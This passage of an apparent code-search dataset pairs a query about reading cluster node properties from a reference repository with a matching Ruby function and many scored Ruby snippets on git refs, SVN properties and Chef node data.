payload = { 'content' => make_content(msg_data) }\n payload['subscribers'] = subscriber_ids unless subscriber_ids.empty?\n payload\n end", "title": "" }, { "docid": "008fe6c653cf368b3f519b5f896c3b46", "score": "0.5143547", "text": "def default_payload\n {\n app_name: config.app_name,\n deployment_remote: deployment_remote,\n force_push: config.force_push,\n reference_point: source_control.reference_point,\n }\n end", "title": "" }, { "docid": "0c1489973479f802087b971fc666b8f2", "score": "0.51426107", "text": "def generate_attachment\n payload = {}\n payload[:fallback] = self.fallback unless self.fallback.nil?\n payload[:color] = self.color unless self.color.nil?\n payload[:pretext] = self.pretext unless self.pretext.nil?\n payload[:author_name] = self.author_name unless self.author_name.nil?\n payload[:author_link] = self.author_link unless self.author_link.nil?\n payload[:author_icon] = self.author_icon unless self.author_icon.nil?\n payload[:title] = self.title unless self.title.nil?\n payload[:title_link] = self.title_link unless self.title_link.nil?\n payload[:text] = self.message unless self.message.nil?\n \n unless self.fields.nil?\n payload[:fields] = self.fields if self.fields.length > 0\n end\n\n payload[:image_url] = self.image_url unless self.image_url.nil?\n\n payload\n end", "title": "" } ]
488cd32f1d8400e5919dbde8e50a1fac
Get node properties from the reference repo hash See also:
[ { "docid": "cdefab1a82fbf16a1b86772226284dd7", "score": "0.6350006", "text": "def get_node_properties(cluster_uid, cluster, node_uid, node)\n h = {} # ouput\n\n if node['status'] == 'retired'\n h['state'] = 'Dead'\n return h if node.size == 1 # for dead nodes, additional information is most likely missing from the ref-repository.\n end\n\n main_network_adapter = node['network_adapters'].find{|k, na| /^eth[0-9]*$/.match(k) && na['enabled'] && na['mounted'] && !na['management'] }\n raise MissingProperty, \"Node #{node_uid} does not have a main network_adapter (ie. an ethernet interface with enabled=true && mounted==true && management==false)\" unless main_network_adapter\n\n # h['host'] = main_network_adapter['network_address']\n #TODO raise MissingProperty, \"Node #{node_uid} has no network_address\" unless h['host']\n\n h['ip'] = main_network_adapter[1]['ip']\n raise MissingProperty, \"Node #{node_uid} has no IP\" unless h['ip']\n h['cluster'] = cluster_uid\n h['nodemodel'] = cluster['model']\n h['switch'] = main_network_adapter[1]['switch']\n h['besteffort'] = node['supported_job_types']['besteffort']\n h['deploy'] = node['supported_job_types']['deploy']\n h['ip_virtual'] = node['supported_job_types']['virtual'] == 'ivt'\n h['virtual'] = node['supported_job_types']['virtual']\n h['cpuarch'] = node['architecture']['platform_type']\n h['cpucore'] = node['architecture']['nb_cores']/node['architecture']['nb_procs']\n h['cputype'] = [node['processor']['model'], node['processor']['version']].join(' ')\n h['cpufreq'] = node['processor']['clock_speed']/1_000_000_000.0\n h['disktype'] = (node['storage_devices'].first[1] || {})['interface']\n\n # ETH\n ni_mountable = node['network_adapters'].select{|k, na| /^eth[0-9]*$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n \n h['eth_count'] = ni_mountable.length\n h['eth_rate'] = ni_fastest['rate'] / 1_000_000_000\n \n puts \"#{node_uid}: Warning - no rate info for the eth interface\" if h['eth_count'] > 0 && h['eth_rate'] == 0\n\n # INFINIBAND\n ni_mountable = node['network_adapters'].select{|k, na| /^ib[0-9]*(\\.[0-9]*)?$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n ib_map = {0 => 'NO', 10 => 'SDR', 20 => 'DDR', 40 => 'QDR', 56 => 'FDR'}\n\n h['ib_count'] = ni_mountable.length\n h['ib_rate'] = ni_mountable.length > 0 ? ni_fastest['rate'] / 1_000_000_000 : 0\n h['ib'] = ib_map[h['ib_rate']]\n\n puts \"#{node_uid}: Warning - no rate info for the ib interface\" if h['ib_count'] > 0 && h['ib_rate'] == 0\n\n # MYRINET\n ni_mountable = node['network_adapters'].select{|k, na| /^myri[0-9]*$/.match(k) && (na['enabled'] == true || na['mounted'] == true || na['mountable'] == true)}.values\n ni_fastest = ni_mountable.max_by{|na| na['rate']}\n myri_map = {0 => 'NO', 2 => 'Myrinet-2000', 10 => 'Myri-10G'}\n\n h['myri_count'] = ni_mountable.length\n h['myri_rate'] = ni_mountable.length > 0 ? ni_fastest['rate'] / 1_000_000_000 : 0\n h['myri'] = myri_map[h['myri_rate']]\n\n puts \"#{node_uid}: Warning - no rate info for the myri interface\" if h['myri_count'] > 0 && h['myri_rate'] == 0\n\n #\n h['memcore'] = node['main_memory']['ram_size']/node['architecture']['nb_cores']/MiB\n h['memcpu'] = node['main_memory']['ram_size']/node['architecture']['nb_procs']/MiB\n h['memnode'] = node['main_memory']['ram_size']/MiB\n\n if node.key?('gpu') && node['gpu']['gpu'] == true\n h['gpu'] = node['gpu']['gpu_model']\n h['gpu_count'] = node['gpu']['gpu_count']\n else\n h['gpu'] = false\n h['gpu_count'] = 0\n end\n\n node['monitoring'] ||= {}\n h['wattmeter'] = case node['monitoring']['wattmeter'] when true; true; when false; false when nil; false; else node['monitoring']['wattmeter'].upcase end\n\n # h['rconsole'] = node['monitoring']['rconsole']\n\n h['cluster_priority'] = (cluster['priority'] || Time.parse(cluster['created_at'].to_s).strftime('%Y%m')).to_i\n \n h['production'] = false # default\n h['production'] = node['supported_job_types']['queues'].include?('production') if node['supported_job_types'] && node['supported_job_types'].has_key?('queues')\n\n h['max_walltime'] = 0 # default\n h['max_walltime'] = node['supported_job_types']['max_walltime'] if node['supported_job_types'] && node['supported_job_types'].has_key?('max_walltime')\n\n h['maintenance'] = false # default\n h['maintenance'] = node['supported_job_types']['queues'].include?('testing') if node['supported_job_types'] && node['supported_job_types'].has_key?('queues')\n \n # convert booleans to YES/NO string\n h.each {|k,v|\n if v == true\n h[k] = 'YES'\n elsif v == false\n h[k] = 'NO'\n elsif v.is_a? Float\n h[k] = \"#{v}\"\n end\n }\n\n return h\nend", "title": "" } ]
[ { "docid": "8ae8b0dac719f95ce6ac7b67aeb433aa", "score": "0.6369285", "text": "def node_properties\n @node_properties.dup\n end", "title": "" }, { "docid": "716ccb33115c31f290444a63fc76154b", "score": "0.6278039", "text": "def branch\n @data['head']['ref']\n end", "title": "" }, { "docid": "9b8ee074130b0642eec566064bbf4611", "score": "0.6239275", "text": "def repository_hash\n digest(\"#{::RightScraper::PROTOCOL_VERSION}\\000#{repo_type}\\000#{url}\")\n end", "title": "" }, { "docid": "df7ae2115219af0d2fb0b675f4b441e7", "score": "0.6174383", "text": "def extract_hash(node); end", "title": "" }, { "docid": "3d63630425ee5366a4ae4a3c6687892a", "score": "0.61297345", "text": "def __get_file_property(prop, path, revision_number)\n return @repos.fs.root(revision_number).node_prop(path, prop)\n end", "title": "" }, { "docid": "ba7b3f9530146d45a9b54127ba773827", "score": "0.6106642", "text": "def __get_property(prop, rev=nil)\n return @repos.prop(prop, rev)\n end", "title": "" }, { "docid": "1e4e8eab1cd48ec801ba06f66f6c35f0", "score": "0.5983607", "text": "def refs(repo)\n repo.refs_hash[id]\n end", "title": "" }, { "docid": "dbb96d3bfb509e6faddad1c10175fe1c", "score": "0.5935213", "text": "def read\n h = doc.repo.properties(doc.path, doc.node_type)\n replace(h) if h\n end", "title": "" }, { "docid": "c39259f1b4879ca7a66d17319829d493", "score": "0.59289974", "text": "def get_node_properties(id, *properties)\n @node_properties.get(id, *properties.flatten)\n end", "title": "" }, { "docid": "4f300a2243174cbd0a0619022b83e04c", "score": "0.5870365", "text": "def node(sha)\n nodes[sha]\n end", "title": "" }, { "docid": "eb7a2cefd5225be97cd2eb7827b5ad00", "score": "0.58650345", "text": "def ref_node\n @ref_node\n end", "title": "" }, { "docid": "72a8498bbb03c974fe869980bd38d5cb", "score": "0.57778406", "text": "def node(hash, parts); end", "title": "" }, { "docid": "e2426a2a233d09fd485ed31aac283d79", "score": "0.57748896", "text": "def tree_map_for(ref)\n @access.tree(ref)\n rescue Grit::GitRuby::Repository::NoSuchShaFound\n []\n end", "title": "" }, { "docid": "22e48f1caaf32d6ed07f9854b4c2e3af", "score": "0.5728854", "text": "def ret_node_name_and_ref(opts = {}) \n unless opts.has_key?(:node) or (opts.has_key?(:node_name) and (opts.has_key?(:node_group_range) or opts.has_key?(:node_ref)))\n fail Error, \"opts.has_key?(:node) or (opts.has_key?(:node_name) and (opts.has_key?(:node_group_range) or opts.has_key?(:node_ref)))must be non nil\"\n end\n\n node_name = node_ref = nil\n if node = opts[:node]\n node_name = node.node_component_ref\n node_ref = node_name unless node.is_assembly_wide_node?\n else\n node_name = opts[:node_name]\n node_ref = (opts[:node_group_range] ? \"#{node_name}:[#{opts[:node_group_range][0]}-#{opts[:node_group_range][1]}]\" : opts[:node_ref] )\n end\n [node_name, node_ref]\n end", "title": "" }, { "docid": "852cec90dc9184783efd5ad3cd3fd5f5", "score": "0.5704232", "text": "def oarcmd_get_nodelist_properties(site_uid, filename=nil, options)\n oarnodes_yaml = \"\"\n \n if filename and File.exist?(filename)\n # Read oar properties from file\n puts \"Read 'oarnodes -Y' from #{filename}\" if options[:verbose]\n oarnodes_yaml = File.open(filename, 'rb') { |f| f.read }\n else\n # Download the oar properties from the oar server\n puts \"Downloading 'oarnodes -Y' from \" + options[:ssh][:host].gsub(\"%s\", site_uid) + \"...\" if options[:verbose]\n\n Net::SSH.start(options[:ssh][:host].gsub(\"%s\", site_uid), options[:ssh][:user], options[:ssh][:params]) { |ssh|\n # capture all stderr and stdout output from a remote process\n oarnodes_yaml = ssh.exec!('oarnodes -Y')\n }\n puts \"... done\" if options[:verbose]\n\n if filename\n # Cache the file\n puts \"Save 'oarnodes -Y' as #{filename}\" if options[:verbose]\n File.write(filename, oarnodes_yaml)\n end\n end\n\n # Load the YAML file into an hashtable\n h = YAML.load(oarnodes_yaml)\n\n # Format convertion: use host as keys of the hash (instead of id)\n h = h.map {|k, v| v['type'] == 'default' ? [v['host'].split('.').first, v] : [nil, nil] }.to_h\n\n return h\nend", "title": "" }, { "docid": "49a782f72809a05b105acdd537fceefe", "score": "0.56858766", "text": "def read_node_uuid\n metadata[\"node_uuid\"]\n end", "title": "" }, { "docid": "8289f0a2f022e5d2dba49a48467a15ad", "score": "0.5656558", "text": "def node_properties\n collection = connection[node_properties_collection]\n result = {}\n collection.find.batch_size(999).each do |values|\n id = values.delete('_id')\n result[id] = values\n end\n result\n end", "title": "" }, { "docid": "90f7afe118f810cfd4cd86e9e8d5f3f6", "score": "0.5638355", "text": "def get_property\n nokogiri_xml_full = branch.client.call(attributes[:url]).parsed_response\n @xml = nokogiri_xml_full.to_xml\n nokogiri_xml = nokogiri_xml_full.css('property')\n @attributes.merge!(Vebra.parse(nokogiri_xml))\n end", "title": "" }, { "docid": "99ad46168d559c8b508da6725cc33174", "score": "0.5622964", "text": "def checkout_hash\n digest(\"#{PROTOCOL_VERSION}\\000#{repo_type}\\000#{url}\\000#{tag}\")\n end", "title": "" }, { "docid": "5aaa77f851a6675628a7cf5c0e0f425f", "score": "0.56224227", "text": "def node_name\n @property_hash[:node_name]\n end", "title": "" }, { "docid": "c4d7530bb9c411df8f83aa7e47a8dc73", "score": "0.55997056", "text": "def read_node_properties(opts = {})\n data, _status_code, _headers = read_node_properties_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "d5bf52c1a43ebaa22fe6d8154314db86", "score": "0.55970764", "text": "def get_node_data ()\r\n return @node_data\r\n end", "title": "" }, { "docid": "7abe053e6efe603f7474db53ed3d7896", "score": "0.5590246", "text": "def ref\n attribute('ref').content\n end", "title": "" }, { "docid": "978da4f32aba3d77bf62ea9c0ec4004c", "score": "0.5584092", "text": "def nodes\n @nodes=@pool_hash.properties.basic.nodes || []\n end", "title": "" }, { "docid": "c3d98052c4ec46e56e4d07183d797c7f", "score": "0.55833", "text": "def rev_parse(ref)\n Rugged::Object.rev_parse @repo, ref\n end", "title": "" }, { "docid": "82bd940b7062d4295af7dedbb89e10af", "score": "0.5582687", "text": "def fetch_full_ref\n stdout, = Pkg::Util::Execution.capture3(\"#{GIT} ls-remote --tags --heads --exit-code #{address} #{ref}\")\n stdout.split.last\n rescue RuntimeError => e\n raise \"ERROR : Not a ref or sha!\\n#{e}\"\n end", "title": "" }, { "docid": "e1fcfda18b111fbcaaa14d3d1a23a86a", "score": "0.55695355", "text": "def get_node_data()\r\n return @node_data\r\n end", "title": "" }, { "docid": "37e3b389e9da7066d1dee88cab36d507", "score": "0.556065", "text": "def child_refs(node)\n if node.is_a?(Hash)\n node['child-task'].map{|child| child['idref']}\n else\n node.child_refs \n end\n end", "title": "" }, { "docid": "0ff32f57b5361fc7804b9f0fce57b2e8", "score": "0.55446", "text": "def get_tree_sha\n sha = nil\n trees = get_json(\"#{@git_data_trees}/#{@branch}\")\n trees['tree'].find{|t| t['path'] == 'dist'}['sha']\n end", "title": "" }, { "docid": "d3691e0dee92cee373163c9be43f3aa5", "score": "0.5540669", "text": "def collect_nodes(sha) # :nodoc:\n node = nodes[sha]\n return node if node\n \n links = []\n updates = []\n \n node = Node.new(sha, nodes, links, updates)\n nodes[sha] = node\n \n repo.each_assoc(sha) do |doc_sha, doc_type|\n target = collect_nodes(doc_sha)\n \n case doc_type\n when :create\n when :link\n links << target\n when :update\n updates << target\n target.original = nil\n when :delete\n target.deleted = true\n else\n raise \"invalid linkage: #{sha} -> #{linkage}\"\n end\n end\n \n node\n end", "title": "" }, { "docid": "16176fd21883eec39d32287b13af7d53", "score": "0.5524194", "text": "def properties\n model.properties(repository_name)\n end", "title": "" }, { "docid": "da43538fc85483dcede81683ad95ca82", "score": "0.55134994", "text": "def nrp(property = nil)\n node_resource_properties(property)\n end", "title": "" }, { "docid": "43f2f72e4e51cce289bad1a56c7db61e", "score": "0.5510147", "text": "def node_info\n client.get('/admin/nodeinfo')\n end", "title": "" }, { "docid": "3a110d12cf67a00ac8e19edddf6333d3", "score": "0.55084914", "text": "def get_repo_info(repo, type='g') \n\t\treturn self.fetch(\"repositories/#{type}/#{repo}\")\n\tend", "title": "" }, { "docid": "69e755573ac7b82675d6324a27fd31c9", "score": "0.5502173", "text": "def properties(revisions)\n revisions = [revisions].flatten\n revisions.collect{|revision|\n begin\n proplist = @repos.fs.proplist(revision)\n rescue Svn::Error::FS_NO_SUCH_REVISION => e\n raise SvnNoSuchRevisionError.new(\"Revision \" + revision.to_s + \" does not exist.\")\n end\n proplist[:id] = revision\n make_hash_friendly(proplist)\n proplist\n } \n end", "title": "" }, { "docid": "176c1e67821a647950416b507d1da180", "score": "0.54907894", "text": "def to_hash\n {\n 'git' => @git,\n 'ref' => @ref\n }\n end", "title": "" }, { "docid": "176c1e67821a647950416b507d1da180", "score": "0.54907894", "text": "def to_hash\n {\n 'git' => @git,\n 'ref' => @ref\n }\n end", "title": "" }, { "docid": "6bcd6205549a724fe26eaa72c360190a", "score": "0.54901356", "text": "def node_info\n chef_server_uri = URI(Chef::Config[:chef_server_url])\n\n runlist_roles = node.run_list.select { |item| item.type == :role }.map(&:name)\n runlist_recipes = node.run_list.select { |item| item.type == :recipe }.map(&:name)\n {\n node: node.name,\n os: {\n release: node[\"platform_version\"],\n family: node[\"platform\"],\n },\n environment: node.environment,\n roles: runlist_roles,\n recipes: runlist_recipes,\n policy_name: node.policy_name || \"\",\n policy_group: node.policy_group || \"\",\n chef_tags: node.tags,\n organization_name: chef_server_uri.path.split(\"/\").last || \"\",\n source_fqdn: chef_server_uri.host || \"\",\n ipaddress: node[\"ipaddress\"],\n fqdn: node[\"fqdn\"],\n }\n end", "title": "" }, { "docid": "6bcd6205549a724fe26eaa72c360190a", "score": "0.54901356", "text": "def node_info\n chef_server_uri = URI(Chef::Config[:chef_server_url])\n\n runlist_roles = node.run_list.select { |item| item.type == :role }.map(&:name)\n runlist_recipes = node.run_list.select { |item| item.type == :recipe }.map(&:name)\n {\n node: node.name,\n os: {\n release: node[\"platform_version\"],\n family: node[\"platform\"],\n },\n environment: node.environment,\n roles: runlist_roles,\n recipes: runlist_recipes,\n policy_name: node.policy_name || \"\",\n policy_group: node.policy_group || \"\",\n chef_tags: node.tags,\n organization_name: chef_server_uri.path.split(\"/\").last || \"\",\n source_fqdn: chef_server_uri.host || \"\",\n ipaddress: node[\"ipaddress\"],\n fqdn: node[\"fqdn\"],\n }\n end", "title": "" }, { "docid": "10b89d595f84714f344254ab8540972f", "score": "0.54889685", "text": "def node_info(node)\n {\n deploy_data: nil\n }.merge(platform_info[:nodes][node] || {})\n end", "title": "" }, { "docid": "c4ba8898c92de560f9b0468fd2e5be30", "score": "0.5487798", "text": "def get_node_lookup_hash\n @queries += 1\n results = @client.query \"SELECT abc_persid, abc_lasthash FROM #{@config['streamer_table']}\"\n hash_tbl = {}\n results.each{ |res| hash_tbl[res['abc_persid']] = res['abc_lasthash'] }\n hash_tbl\n end", "title": "" }, { "docid": "c96c2c9d8b1914034ed9191c600ebffb", "score": "0.5468223", "text": "def hash\n href.hash\n end", "title": "" }, { "docid": "e5bd570e217c87c35f12905ebdcca359", "score": "0.5466231", "text": "def find_refs\n # should always be there\n @proj_xml_node.css(\"Project Reference\")\n end", "title": "" }, { "docid": "ebbf27f9a5e4fd0d83515b1a1879f0d2", "score": "0.5466131", "text": "def get_node_entry(path, rev=nil)\n node = repos.get_node(path, rev)\n end", "title": "" }, { "docid": "6c2ddfed5b6f987afce030db7b2edf0f", "score": "0.54635227", "text": "def info\n connection.node_get_info\n end", "title": "" }, { "docid": "8346b0f79d3d6c58b87952af42814b79", "score": "0.5454768", "text": "def properties\n self[:'jcr:content'] if self[:'jcr:content']\n end", "title": "" }, { "docid": "a9b378a227f885bd722ccf009ef2f68c", "score": "0.5453454", "text": "def nodes\n info[:nodes]\n end", "title": "" }, { "docid": "462f82640037949d463aecf7cfa7a79e", "score": "0.5450456", "text": "def checkout_hash\n repository_hash\n end", "title": "" }, { "docid": "6010a5df311c725d2e765e01cfc142f3", "score": "0.54486376", "text": "def head\n variable(:branch) || 'HEAD'\n end", "title": "" }, { "docid": "6010a5df311c725d2e765e01cfc142f3", "score": "0.54486376", "text": "def head\n variable(:branch) || 'HEAD'\n end", "title": "" }, { "docid": "6519759e3054ae6d63beb46553c302b4", "score": "0.5443538", "text": "def nodeInfo(name)\n \"Return metadata (dict) for node\"\n return @graph.node[name]\n end", "title": "" }, { "docid": "fb23642eed583cfbe001806a665ea14c", "score": "0.5435751", "text": "def sha_for_ref(repo, ref)\n Dir.chdir(File.join(remotes, repo)) do\n git(\"show-ref #{ref}\").stdout.split(/\\s/).first\n end\n end", "title": "" }, { "docid": "04bf64dd096942713eda45cd8300cb7b", "score": "0.5432927", "text": "def props_for_path(path)\n result = Hash.new\n output = svnlook('proplist', %<\"#@repository\">, %<\"#{path}\">)\n output.each do |name|\n name.strip!\n value = svnlook('propget', %<\"#@repository\">, %<\"#{name}\">, %<\"#{path}\">)\n result[name] = value\n end\n result\n end", "title": "" }, { "docid": "df4edbfdd80abf72abe7c4849872285b", "score": "0.5428661", "text": "def git_contents(version_hash)\n self.git.commit(version_hash).tree.contents.first.contents.each do |tree|\n return tree.contents if tree.name == self.id.to_s\n end\n end", "title": "" }, { "docid": "f7f233130ee43d1888d222039ca19b85", "score": "0.5428381", "text": "def git_sha; end", "title": "" }, { "docid": "f7f233130ee43d1888d222039ca19b85", "score": "0.5428381", "text": "def git_sha; end", "title": "" }, { "docid": "177d5b53131171064efe0088fa8a05a6", "score": "0.5425872", "text": "def get_ref(ref_str)\n jgit_repo.getRef(ref_str)\n end", "title": "" }, { "docid": "9929598ec6bf8d166ea362cab6e258bd", "score": "0.54231334", "text": "def sha_repo; end", "title": "" }, { "docid": "1ad09f701a49fe4ae6beeebd48fa8b97", "score": "0.5421491", "text": "def repo!\n read_attribute :repo\n end", "title": "" }, { "docid": "11041e18bf99426e45a691ed6300c409", "score": "0.5413554", "text": "def get_node source_refs\n if source_refs.is_a?(String)\n source_path, options = [source_refs], {}\n else\n options = source_refs.extract!(\"association\").keep_if {|k,v| !v.blank?}\n source_path = source_refs.include?(\"node\") ? source_refs.delete('node') : source_refs\n source_path = source_path.flatten if (source_path.is_a?(Hash))\n if source_path.is_a?(String)\n source_path = [source_path]\n else\n while source_path.last.is_a? Hash\n source_path << source_path.pop.flatten\n end\n end\n end\n source_path.flatten!\n node = source_path.inject(::Cockroach.profiler) do |node_keeper, node_name|\n node_keeper[node_name]\n end\n Cockroach::Source::Node.new node, options\n end", "title": "" }, { "docid": "3950c4d5926539e7bb077d0b31d12b21", "score": "0.54110605", "text": "def hash\n super +\n @host_numa_node.hash +\n @index.hash +\n @pinned.hash\n end", "title": "" }, { "docid": "d111f9e096cf721edcd98b104e9bde80", "score": "0.54060215", "text": "def resolvenode(n)\n node = \"\"\n node = {} if n.is_a? Hash\n node = [] if n.is_a? Array\n rs = browse_hash n, node\n return rs if nil != rs\n node\nend", "title": "" }, { "docid": "00b17800c0f972819dec74ecd374b86f", "score": "0.54059374", "text": "def sha_for_ref(repo, ref)\n Dir.chdir(remote_path(repo)) do\n shell_out(\"git show-ref #{ref}\").stdout.split(/\\s/).first\n end\n end", "title": "" }, { "docid": "58be1603bdf42dd5ea1c416016f2093f", "score": "0.5399991", "text": "def head\n get_detail\n\n @head_repo ||= OctocatHerder::PullRequest::Repo.new(@raw_detail_hash['head'], connection)\n end", "title": "" }, { "docid": "6a486e34ca2015e95b533d5abce2b922", "score": "0.53982395", "text": "def get_repos_from_properties(properties)\n # A set of repos included in properties file\n repos = Set.new []\n\n # Extract repo names from the 'path' property for each repo\n properties.each do |key, value|\n if key.start_with?(\"repos.\") && key.end_with?(\".path\")\n # Extract the repo name from the key; replacing dots with dashes.\n repo_property_name = key[6..(key.index('.path')-1)]\n repo_name = repo_property_name.gsub(\".\", \"-\")\n repos.add(repo_name)\n end\n end\n #puts \"repos\"\n #pp repos\n repos\nend", "title": "" }, { "docid": "4460606ca147ac070d8406eece7a7d32", "score": "0.53970426", "text": "def repos\n Git.repo_hash\n end", "title": "" }, { "docid": "4460606ca147ac070d8406eece7a7d32", "score": "0.53970426", "text": "def repos\n Git.repo_hash\n end", "title": "" }, { "docid": "0b3cb5a6ab3fc98ef9af186f1a34c0c5", "score": "0.539335", "text": "def read(sha)\n sha = repo.resolve(sha)\n attrs = repo.read(sha)\n \n attrs ? cast(attrs, sha) : nil\n end", "title": "" }, { "docid": "d46c56961523d2e13aa63ee399339f62", "score": "0.5392371", "text": "def neo_header_get_hash\n raise NotImplementedError\n end", "title": "" }, { "docid": "3d7d0f168145504c9b097e959feb6872", "score": "0.53855217", "text": "def hash\n node.hashCode\n end", "title": "" }, { "docid": "8480ea470295e015e125f0dbea62314d", "score": "0.5381359", "text": "def root_hash\n @node_hashes[0]\n end", "title": "" }, { "docid": "b412785ecda9515522faf5689f1a9fde", "score": "0.5371315", "text": "def getProperties(tree, userAgent)\n _getProperties(tree, userAgent, false)\n end", "title": "" }, { "docid": "e1cdd1cbf0b851386cf30e48192a9d30", "score": "0.5370827", "text": "def load_node_properties(node, properties, ids_of_interest = :all)\n super\n\n properties[node.id][:title] = node.display_string\n properties[node.id][:component_id] = node.component_id if node.component_id\n\n set_node_level(node, properties[node.id])\n set_node_instances(node, properties[node.id]) #if ids_of_interest != :all\n end", "title": "" }, { "docid": "f7279932a5802f620e58291f3c70d2b3", "score": "0.5368127", "text": "def resource_hash\n Digest::SHA1.hexdigest(\"#{PROTOCOL_VERSION}\\000#{@repository.checkout_hash}\\000#{@pos}\")\n end", "title": "" }, { "docid": "9e1d4f2e59f67b1787d2bd6e44bb5c86", "score": "0.5367084", "text": "def node_hash\n @node_hash ||=\n @graph_config.node_class.all.each_with_object({}) do |node, collection|\n collection[node.key] = FromAtlas.node(node)\n end\n end", "title": "" }, { "docid": "ab8649fc90d0da11091e046aa0eebb8b", "score": "0.5363317", "text": "def ref\n attributes['ref']\n end", "title": "" }, { "docid": "1716793844416e1762793a0453f4a068", "score": "0.5361828", "text": "def properties_for(node)\n node.xpath('./property').map do |prop|\n {\n :visibility => prop.attribute('visibility').value,\n :static => prop.attribute('static').value,\n :line => prop.attribute('line').value,\n :name => name_for(prop),\n :doc => docblock_for(prop)\n }\n end\n end", "title": "" }, { "docid": "b007ea1dbb7a2de76a3a437876684db6", "score": "0.53615874", "text": "def gather_nodeinfo\n n = run_context.node\n {\n node: n.name,\n os: {\n # arch: n['arch'],\n release: n['platform_version'],\n family: n['platform'],\n },\n environment: n.environment,\n }\n end", "title": "" }, { "docid": "c7def50896e262a52b5e24f3aa9d230a", "score": "0.5359158", "text": "def git_metadata ( json_hash )\n json_hash[\"time\"] = Time.now.strftime(\"%Y-%m-%d-%H:%M\")\n json_hash[\"branch\"] = %x[git rev-parse --abbrev-ref HEAD].gsub(/\\n/,\"\")\n json_hash[\"commit\"] = %x[git log -1 --pretty='%H'].gsub(/\\n/,\"\")\n json_hash[\"author\"] = %x[git log -1 --pretty='%cE'].gsub(/\\n/,\"\")\nend", "title": "" }, { "docid": "bf3b144ab8e316f91d6e075273cc0694", "score": "0.53561187", "text": "def agent_git_hash\n JSON.parse(IO.read(\"/opt/datadog-agent/version-manifest.json\"))['software']['datadog-agent']['locked_version']\nend", "title": "" }, { "docid": "bf3b144ab8e316f91d6e075273cc0694", "score": "0.53561187", "text": "def agent_git_hash\n JSON.parse(IO.read(\"/opt/datadog-agent/version-manifest.json\"))['software']['datadog-agent']['locked_version']\nend", "title": "" }, { "docid": "bf3b144ab8e316f91d6e075273cc0694", "score": "0.53561187", "text": "def agent_git_hash\n JSON.parse(IO.read(\"/opt/datadog-agent/version-manifest.json\"))['software']['datadog-agent']['locked_version']\nend", "title": "" }, { "docid": "759eadddf7f1c7370e22cea5a4226ba4", "score": "0.5345388", "text": "def refs_hash\n # Initialize only when first call\n if @refs_hash.nil?\n @refs_hash = Hash.new { |h, k| h[k] = [] }\n\n grit.refs.each do |r|\n @refs_hash[r.commit.id] << r\n end\n end\n @refs_hash\n end", "title": "" }, { "docid": "759eadddf7f1c7370e22cea5a4226ba4", "score": "0.5345236", "text": "def refs_hash\n # Initialize only when first call\n if @refs_hash.nil?\n @refs_hash = Hash.new { |h, k| h[k] = [] }\n\n grit.refs.each do |r|\n @refs_hash[r.commit.id] << r\n end\n end\n @refs_hash\n end", "title": "" }, { "docid": "eb7696abff0e16563948993be3e1005e", "score": "0.53422695", "text": "def get_scm_data(ref = @config[:ref])\n @_version = \"\"\n @_date = Time.now\n begin\n if File.exist?(git_dir)\n @_version = `git --git-dir=#{git_dir} describe --tags #{ref} 2>&1`\n \n if $?.to_i > 0\n # HEAD is not a tagged verison, get the short SHA1 instead \n @_version = `git --git-dir=#{git_dir} show #{ref} --format=format:\"%h\" -s 2>&1` \n else\n # HEAD is a tagged version, if version is prefixed with \"v\" it will be stripped off\n @_version.gsub!(/^v/,\"\")\n end\n @_version.strip!\n \n # Get the date in epoch time\n date = `git --git-dir=#{git_dir} show #{ref} --format=format:\"%ct\" -s 2>&1`\n if date =~ /\\d+/\n @_date = Time.at(date.to_i)\n else\n @_date = Time.now\n end\n \n end\n rescue RuntimeError => e\n end\n\n end", "title": "" }, { "docid": "4dd62a042255834be9d8e35a9b56562c", "score": "0.53374785", "text": "def repositories\n data['user']['repositories']\n end", "title": "" }, { "docid": "7727aa953e29b9548fa74239e9398c1a", "score": "0.5326262", "text": "def find_gom_node path\n json = (Gom::Remote.connection.read \"#{path}.json\")\n (JSON.parse json)[\"node\"][\"entries\"].select do |entry|\n # 1. select attribute entries\n entry.has_key? \"attribute\"\n end.inject({}) do |h, a|\n # 2. make it a key, value list\n h[a[\"attribute\"][\"name\"].to_sym] = a[\"attribute\"][\"value\"]\n h\n end\n end", "title": "" }, { "docid": "b95804d97890e65e03588cf5ee66a692", "score": "0.53225994", "text": "def get_head_hash(user, repository)\n get_hash_by_name(user, repository, 'HEAD')\n end", "title": "" }, { "docid": "b967bb20d305a4b82368e9aa3fb1f36e", "score": "0.5320037", "text": "def repo_info\n c = {}\n config = git('config --list')\n config.split(\"\\n\").each do |line|\n k, v = line.split('=')\n c[k] = v\n end\n u = c['remote.origin.url']\n\n user, proj = github_user_and_proj(u)\n if !(user and proj)\n short, base = github_insteadof_matching(c, u)\n if short and base\n u = u.sub(short, base)\n user, proj = github_user_and_proj(u)\n end\n end\n [user, proj]\n end", "title": "" }, { "docid": "1fb08bd56c3165473f45128db2e9e5de", "score": "0.53176826", "text": "def metadata_for(node)\n node_info(node)[:meta] || {}\n end", "title": "" }, { "docid": "e2ef429ace0e469560d2cb9b52d70ace", "score": "0.5316341", "text": "def get_reference_from node\n uri = node.ReferenceParameters.ResourceURI\n selectors = {}\n node.ReferenceParameters.SelectorSet.each do |s|\n name = s.attr_find(nil, \"Name\")\n selectors[name] = s.text\n end\n [uri,selectors]\nend", "title": "" }, { "docid": "e2ef429ace0e469560d2cb9b52d70ace", "score": "0.5316341", "text": "def get_reference_from node\n uri = node.ReferenceParameters.ResourceURI\n selectors = {}\n node.ReferenceParameters.SelectorSet.each do |s|\n name = s.attr_find(nil, \"Name\")\n selectors[name] = s.text\n end\n [uri,selectors]\nend", "title": "" }, { "docid": "c8e8ba226bcdc10dcdda90e7e22d9a2f", "score": "0.53133285", "text": "def pull_request_head_repo\n pull_request_head['repo'] || {}\n end", "title": "" }, { "docid": "4e68bde9f4627a87d6433e0d1706f1b4", "score": "0.5306115", "text": "def get_properties\n xml = client.call(\"#{url}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(client, p, branch: self) }\n end", "title": "" }, { "docid": "ef64d35849d8e3dde228748c04a53207", "score": "0.5303158", "text": "def ref\n @attributes[:ref]\n end", "title": "" }, { "docid": "ef64d35849d8e3dde228748c04a53207", "score": "0.5303158", "text": "def ref\n @attributes[:ref]\n end", "title": "" }, { "docid": "2e32d8e9ed496069a1dd254f730bd90f", "score": 